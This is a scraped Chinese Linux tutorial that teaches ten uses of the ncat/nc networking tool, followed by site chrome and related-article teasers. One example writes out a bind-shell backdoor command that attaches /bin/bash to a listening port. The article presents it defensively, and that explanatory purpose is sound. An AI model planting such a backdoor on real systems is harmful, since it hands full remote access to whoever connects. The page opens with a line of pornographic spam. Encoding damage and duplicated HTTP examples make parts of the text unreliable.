国产精品久久久aaaa,日日干夜夜操天天插,亚洲乱熟女香蕉一区二区三区少妇,99精品国产高清一区二区三区,国产成人精品一区二区色戒,久久久国产精品成人免费,亚洲精品毛片久久久久,99久久婷婷国产综合精品电影,国产一区二区三区任你鲁

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線(xiàn)課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

通過(guò) 10 個(gè)例子來(lái)學(xué)習(xí)如何使用 nc 命令

Linux愛(ài)好者 ? 2018-02-06 09:55 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

ncat或者說(shuō)nc是一款功能類(lèi)似cat的工具,但是是用于網(wǎng)絡(luò)的。它是一款擁有多種功能的 CLI 工具,可以用來(lái)在網(wǎng)絡(luò)上讀、寫(xiě)以及重定向數(shù)據(jù)。 它被設(shè)計(jì)成可以被腳本或其他程序調(diào)用的可靠的后端工具。同時(shí)由于它能創(chuàng)建任意所需的連接,因此也是一個(gè)很好的網(wǎng)絡(luò)調(diào)試工具。

ncat/nc既是一個(gè)端口掃描工具,也是一款安全工具,還能是一款監(jiān)測(cè)工具,甚至可以做為一個(gè)簡(jiǎn)單的 TCP 代理。 由于有這么多的功能,它被譽(yù)為是網(wǎng)絡(luò)界的瑞士軍刀。 這是每個(gè)系統(tǒng)管理員都應(yīng)該知道并且掌握它。

在大多數(shù) Debian 發(fā)行版中,nc是默認(rèn)可用的,它會(huì)在安裝系統(tǒng)的過(guò)程中自動(dòng)被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc并不會(huì)默認(rèn)被安裝。 你需要用下列命令手工安裝。

[root@linuxtechi ~]# yum install nmap-ncat -y

系統(tǒng)管理員可以用它來(lái)審計(jì)系統(tǒng)安全,用它來(lái)找出開(kāi)放的端口然后保護(hù)這些端口。管理員還能用它作為客戶(hù)端來(lái)審計(jì) Web 服務(wù)器、telnet 服務(wù)器、郵件服務(wù)器等, 通過(guò)nc我們可以控制發(fā)送的每個(gè)字符,也可以查看對(duì)方的回應(yīng)。

我們還可以用它捕獲客戶(hù)端發(fā)送的數(shù)據(jù)以此來(lái)了解這些客戶(hù)端是做什么的。

在本文中,我們會(huì)通過(guò) 10 個(gè)例子來(lái)學(xué)習(xí)如何使用nc命令。

例子: 1) 監(jiān)聽(tīng)入站連接

通過(guò)-l選項(xiàng),ncat可以進(jìn)入監(jiān)聽(tīng)模式,使我們可以在指定端口監(jiān)聽(tīng)入站連接。 完整的命令是這樣的:

$ ncat -l port_number

比如,

$ ncat -l 8080

服務(wù)器就會(huì)開(kāi)始在 8080 端口監(jiān)聽(tīng)入站連接。

例子: 2) 連接遠(yuǎn)程系統(tǒng)

使用下面命令可以用nc來(lái)連接遠(yuǎn)程系統(tǒng),

$ ncat IP_address port_number

讓我們來(lái)看個(gè)例子,

$ ncat 192.168.1.100 80

這會(huì)創(chuàng)建一個(gè)連接,連接到 IP 為 192.168.1.100 的服務(wù)器上的 80 端口,然后我們就可以向服務(wù)器發(fā)送指令了。 比如我們可以輸入下面內(nèi)容來(lái)獲取完整的網(wǎng)頁(yè)內(nèi)容

GET / HTTP/1.1

或者獲取頁(yè)面名稱(chēng),

GET / HTTP/1.1

或者我們可以通過(guò)以下方式獲得操作系統(tǒng)指紋標(biāo)識(shí),

GET / HTTP/1.1

這會(huì)告訴我們使用的是什么軟件來(lái)運(yùn)行這個(gè) web 服務(wù)器的。

例子: 3) 連接 UDP 端口

默認(rèn)情況下,nc創(chuàng)建連接時(shí)只會(huì)連接 TCP 端口。 不過(guò)我們可以使用-u選項(xiàng)來(lái)連接到 UDP 端口,

$ ncat -l -u 1234

現(xiàn)在我們的系統(tǒng)會(huì)開(kāi)始監(jiān)聽(tīng) UDP 的 1234 端口,我們可以使用下面的netstat命令來(lái)驗(yàn)證這一點(diǎn),

$netstat -tunlp | grep1234

udp 000.0.0.0:1234 0.0.0.0:* 17341/nc

udp600 :::1234:::*

假設(shè)我們想發(fā)送或者說(shuō)測(cè)試某個(gè)遠(yuǎn)程主機(jī) UDP 端口的連通性,我們可以使用下面命令,

$ ncat -v -u {host-ip} {udp-port}

比如:

[root@localhost ~]# ncat -v -u 192.168.105.150 53

Ncat: Version6.40(http://nmap.org/ncat )

Ncat: Connected to192.168.105.150:53。

例子: 4) 將nc作為聊天工具

nc也可以作為聊天工具來(lái)用,我們可以配置服務(wù)器監(jiān)聽(tīng)某個(gè)端口,然后從遠(yuǎn)程主機(jī)上連接到服務(wù)器的這個(gè)端口,就可以開(kāi)始發(fā)送消息了。 在服務(wù)器這端運(yùn)行:

$ ncat -l 8080

在遠(yuǎn)程客戶(hù)端主機(jī)上運(yùn)行:

$ ncat 192.168.1.100 8080

之后開(kāi)始發(fā)送消息,這些消息會(huì)在服務(wù)器終端上顯示出來(lái)。

例子: 5) 將nc作為代理

nc也可以用來(lái)做代理。比如下面這個(gè)例子,

$ ncat -l 8080 | ncat 192.168.1.200 80

所有發(fā)往我們服務(wù)器 8080 端口的連接都會(huì)自動(dòng)轉(zhuǎn)發(fā)到 192.168.1.200 上的 80 端口。 不過(guò)由于我們使用了管道,數(shù)據(jù)只能被單向傳輸。 要同時(shí)能夠接受返回的數(shù)據(jù),我們需要?jiǎng)?chuàng)建一個(gè)雙向管道。 使用下面命令可以做到這點(diǎn):

$mkfifo2way

$ncat -l80800<2way | ncat192.168.1.200801>2way

現(xiàn)在你可以通過(guò)nc代理來(lái)收發(fā)數(shù)據(jù)了。

例子: 6) 使用nc拷貝文件

nc還能用來(lái)在系統(tǒng)間拷貝文件,雖然這么做并不推薦,因?yàn)榻^大多數(shù)系統(tǒng)默認(rèn)都安裝了ssh/scp。 不過(guò)如果你恰好遇見(jiàn)個(gè)沒(méi)有ssh/scp的系統(tǒng)的話(huà), 你可以用nc來(lái)作最后的努力。

在要接受數(shù)據(jù)的機(jī)器上啟動(dòng)nc并讓它進(jìn)入監(jiān)聽(tīng)模式:

$ ncat -l8080 > file.txt

現(xiàn)在去要被拷貝數(shù)據(jù)的機(jī)器上運(yùn)行下面命令:

$ ncat 192.168.1.100 8080 --send-only < data.txt

這里,data.txt是要發(fā)送的文件。-–send-only選項(xiàng)會(huì)在文件拷貝完后立即關(guān)閉連接。 如果不加該選項(xiàng), 我們需要手工按下ctrl+c來(lái)關(guān)閉連接。

我們也可以用這種方法拷貝整個(gè)磁盤(pán)分區(qū),不過(guò)請(qǐng)一定要小心。

例子: 7) 通過(guò)nc創(chuàng)建后門(mén)

nc命令還可以用來(lái)在系統(tǒng)中創(chuàng)建后門(mén),并且這種技術(shù)也確實(shí)被黑客大量使用。 為了保護(hù)我們的系統(tǒng),我們需要知道它是怎么做的。 創(chuàng)建后門(mén)的命令為:

$ ncat -l 10000 -e /bin/bash

-e標(biāo)志將一個(gè) bash 與端口 10000 相連。現(xiàn)在客戶(hù)端只要連接到服務(wù)器上的 10000 端口就能通過(guò) bash 獲取我們系統(tǒng)的完整訪(fǎng)問(wèn)權(quán)限:

$ ncat 192.168.1.100 10000

例子: 8) 通過(guò)nc進(jìn)行端口轉(zhuǎn)發(fā)

我們通過(guò)選項(xiàng)-c來(lái)用nc進(jìn)行端口轉(zhuǎn)發(fā),實(shí)現(xiàn)端口轉(zhuǎn)發(fā)的語(yǔ)法為:

$ ncat -u -l80 -c'ncat -u -l 8080'

這樣,所有連接到 80 端口的連接都會(huì)轉(zhuǎn)發(fā)到 8080 端口。

例子: 9) 設(shè)置連接超時(shí)

nc的監(jiān)聽(tīng)模式會(huì)一直運(yùn)行,直到手工終止。 不過(guò)我們可以通過(guò)選項(xiàng)-w設(shè)置超時(shí)時(shí)間:

$ ncat -w 10 192.168.1.100 8080

這回導(dǎo)致連接 10 秒后終止,不過(guò)這個(gè)選項(xiàng)只能用于客戶(hù)端而不是服務(wù)端。

例子: 10) 使用-k選項(xiàng)強(qiáng)制nc待命

當(dāng)客戶(hù)端從服務(wù)端斷開(kāi)連接后,過(guò)一段時(shí)間服務(wù)端也會(huì)停止監(jiān)聽(tīng)。 但通過(guò)選項(xiàng)-k我們可以強(qiáng)制服務(wù)器保持連接并繼續(xù)監(jiān)聽(tīng)端口。 命令如下:

$ ncat -l -k 8080

現(xiàn)在即使來(lái)自客戶(hù)端的連接斷了也依然會(huì)處于待命狀態(tài)。

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • Linux
    +關(guān)注

    關(guān)注

    88

    文章

    11760

    瀏覽量

    219042
  • TCP
    TCP
    +關(guān)注

    關(guān)注

    8

    文章

    1425

    瀏覽量

    83518
  • NC
    NC
    +關(guān)注

    關(guān)注

    0

    文章

    21

    瀏覽量

    14407

原文標(biāo)題:10 個(gè)例子教你學(xué)會(huì) ncat (nc) 命令

文章出處:【微信號(hào):LinuxHub,微信公眾號(hào):Linux愛(ài)好者】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    Kubernetes kubectl命令行工具詳解

    kubectl是Kubernetes官方提供的命令行工具,作為與Kubernetes集群交互的主要接口,它通過(guò)調(diào)用Kubernetes API Server實(shí)現(xiàn)對(duì)集群資源的全面管理。在生產(chǎn)環(huán)境中,運(yùn)維工程師需要熟練掌握kubectl命令
    的頭像 發(fā)表于 02-02 16:40 ?427次閱讀

    NC203DO35噪聲二極管現(xiàn)貨庫(kù)存

    源。該器件可單獨(dú)作為噪聲源,也可用于校準(zhǔn)、接收機(jī)測(cè)試、噪聲系數(shù)測(cè)量等場(chǎng)合,現(xiàn)貨市場(chǎng)常簡(jiǎn)寫(xiě)為 “NC203 DO-35” 。關(guān)鍵參數(shù)頻率范圍:0.1 Hz – 100 MHz推薦工作電壓:7 – 10 V
    發(fā)表于 01-13 09:22

    10個(gè)例子代碼,C語(yǔ)言結(jié)構(gòu)體的高級(jí)

    當(dāng)涉及到C語(yǔ)言結(jié)構(gòu)體的高級(jí)**時(shí),有很多有趣和強(qiáng)大的技巧可以應(yīng)用。下面是10個(gè)例子代碼,每個(gè)例子都使用了不同的高級(jí)結(jié)構(gòu)體技術(shù),包括位字段、嵌套結(jié)構(gòu)體、聯(lián)合體、指向結(jié)構(gòu)體的指針等。讓我們逐個(gè)來(lái)講解這些
    發(fā)表于 01-05 06:32

    Linux中13個(gè)基本Cat命令示例

    > test2 等待用戶(hù)輸入,輸入所需文本并按CTRL+D(按住Ctrl Key并輸入d) 退出。文字會(huì)寫(xiě)在test2文件。您可以通過(guò)以下方式查看文件內(nèi)容cat命令。 # cat
    發(fā)表于 12-26 06:09

    NC407B噪聲二極管現(xiàn)貨庫(kù)存

    NC407B是Noisecom公司推出的一款高性能硅基梁式引線(xiàn)(beam-lead)噪聲二極管,采用超寬帶設(shè)計(jì),憑借其高穩(wěn)定性、對(duì)稱(chēng)高斯白噪聲特性及軍用級(jí)溫度適應(yīng)性,廣泛應(yīng)用于超寬帶噪聲源構(gòu)建、射頻
    發(fā)表于 11-24 09:07

    是德示波器自動(dòng)化測(cè)試SCPI命令控制指南

    是德示波器通過(guò)標(biāo)準(zhǔn)命令接口SCPI(Standard Commands for Programmable Instruments)實(shí)現(xiàn)自動(dòng)化控制,為測(cè)試系統(tǒng)集成與高效調(diào)試提供強(qiáng)大支持。本文結(jié)合其核心
    的頭像 發(fā)表于 09-23 17:54 ?1753次閱讀
    是德示波器自動(dòng)化測(cè)試SCPI<b class='flag-5'>命令</b>控制指南

    Linux基礎(chǔ)命令which詳解

    在Linux系統(tǒng)中,which命令用于查找并顯示指定命令的可執(zhí)行文件路徑。這對(duì)于系統(tǒng)管理員和開(kāi)發(fā)人員來(lái)說(shuō)是一個(gè)非常有用的工具,可以幫助定位命令所在的位置,確認(rèn)命令是否已正確安裝,并且能
    的頭像 發(fā)表于 07-29 17:58 ?857次閱讀

    已收藏!你需要知道的57個(gè)常用樹(shù)莓派命令

    初次使用樹(shù)莓派并不總是那么容易,因?yàn)槟憧赡苓€沒(méi)有使用命令行的習(xí)慣。然而,終端命令是必不可少的,而且通常比通過(guò)圖形用戶(hù)界面(GUI)操作更高效。那么,有哪些重要的命令是你應(yīng)該知道的呢?有
    的頭像 發(fā)表于 07-23 18:36 ?1146次閱讀
    已收藏!你需要知道的57個(gè)常用樹(shù)莓派<b class='flag-5'>命令</b>!

    labview通過(guò)JKL.net發(fā)送cmd命令行問(wèn)題

    請(qǐng)問(wèn)通過(guò)電腦直接發(fā)ssh命令,能正常輸出,但通過(guò)JKL.net發(fā)送,提示\'\'ssh\'\'不是內(nèi)部命令,如何解決?
    發(fā)表于 07-02 21:11

    如何使用Traceroute命令

    以下是如何使用 traceroute 命令的詳細(xì)指南,包括其語(yǔ)法、選項(xiàng)和實(shí)際示例。
    的頭像 發(fā)表于 06-04 11:28 ?2241次閱讀

    CYPD3171可以讓該引腳不連接NC嗎?

    我有一個(gè)定制電路,其中有一個(gè)由 MCU 控制的雙向降壓/升壓轉(zhuǎn)換器。 我只需要 CYPD3171 芯片來(lái)協(xié)商電源角色和電壓,并通過(guò) UART 將該信息發(fā)送回 MCU。 我唯一不確定的是引腳 19
    發(fā)表于 05-08 08:11

    使用CCG2 (CYPD2122-24LQXI) IC,對(duì)源發(fā)送的 SVDM DISCOVERY IDENTITY命令的響應(yīng)有問(wèn)題,怎么解決?

    中的筆記本示例。 這個(gè)例子是否需要任何修改來(lái)從源請(qǐng)求發(fā)現(xiàn) ID 命令? 我從EZ-PD?配置工具刷新固件和配置并嘗試了許多設(shè)置,但從未收到發(fā)現(xiàn) ID 命令的響應(yīng)。 我應(yīng)該怎么辦?
    發(fā)表于 05-08 07:08

    NC401-C50H噪聲二極管Noisecom?現(xiàn)貨庫(kù)存

    NC401-C50H噪聲二極管Noisecom 現(xiàn)貨庫(kù)存NC401-C50H 是 Noisecom 公司生產(chǎn)的噪聲二極管,屬于 Noisecom 的NC400系列噪聲二極管,能產(chǎn)生對(duì)稱(chēng)的高斯白噪聲
    發(fā)表于 04-08 10:01

    使用NXP MCX-N板卡新增命令控制

    此次任務(wù)通過(guò)串口命令行控制RGB LED,相比較與上一次任務(wù)通過(guò)單個(gè)字符控制增加了FreeRTOS-CLI組件,支持更復(fù)雜的、帶參數(shù)的命令
    的頭像 發(fā)表于 03-17 13:38 ?1735次閱讀
    使用NXP MCX-N板卡新增<b class='flag-5'>命令</b>控制

    如何用幾條命令搞定Ubuntu系統(tǒng)的網(wǎng)絡(luò)配置

    在某些場(chǎng)景下,設(shè)備沒(méi)有顯示器或屏可以用,這時(shí)候通過(guò)命令行來(lái)設(shè)置網(wǎng)絡(luò)就變得特別重要了。本文將介紹如何用幾條命令搞定Ubuntu系統(tǒng)的網(wǎng)絡(luò)配置。
    的頭像 發(fā)表于 03-14 10:53 ?3768次閱讀
    如何用幾條<b class='flag-5'>命令</b>搞定Ubuntu系統(tǒng)的網(wǎng)絡(luò)配置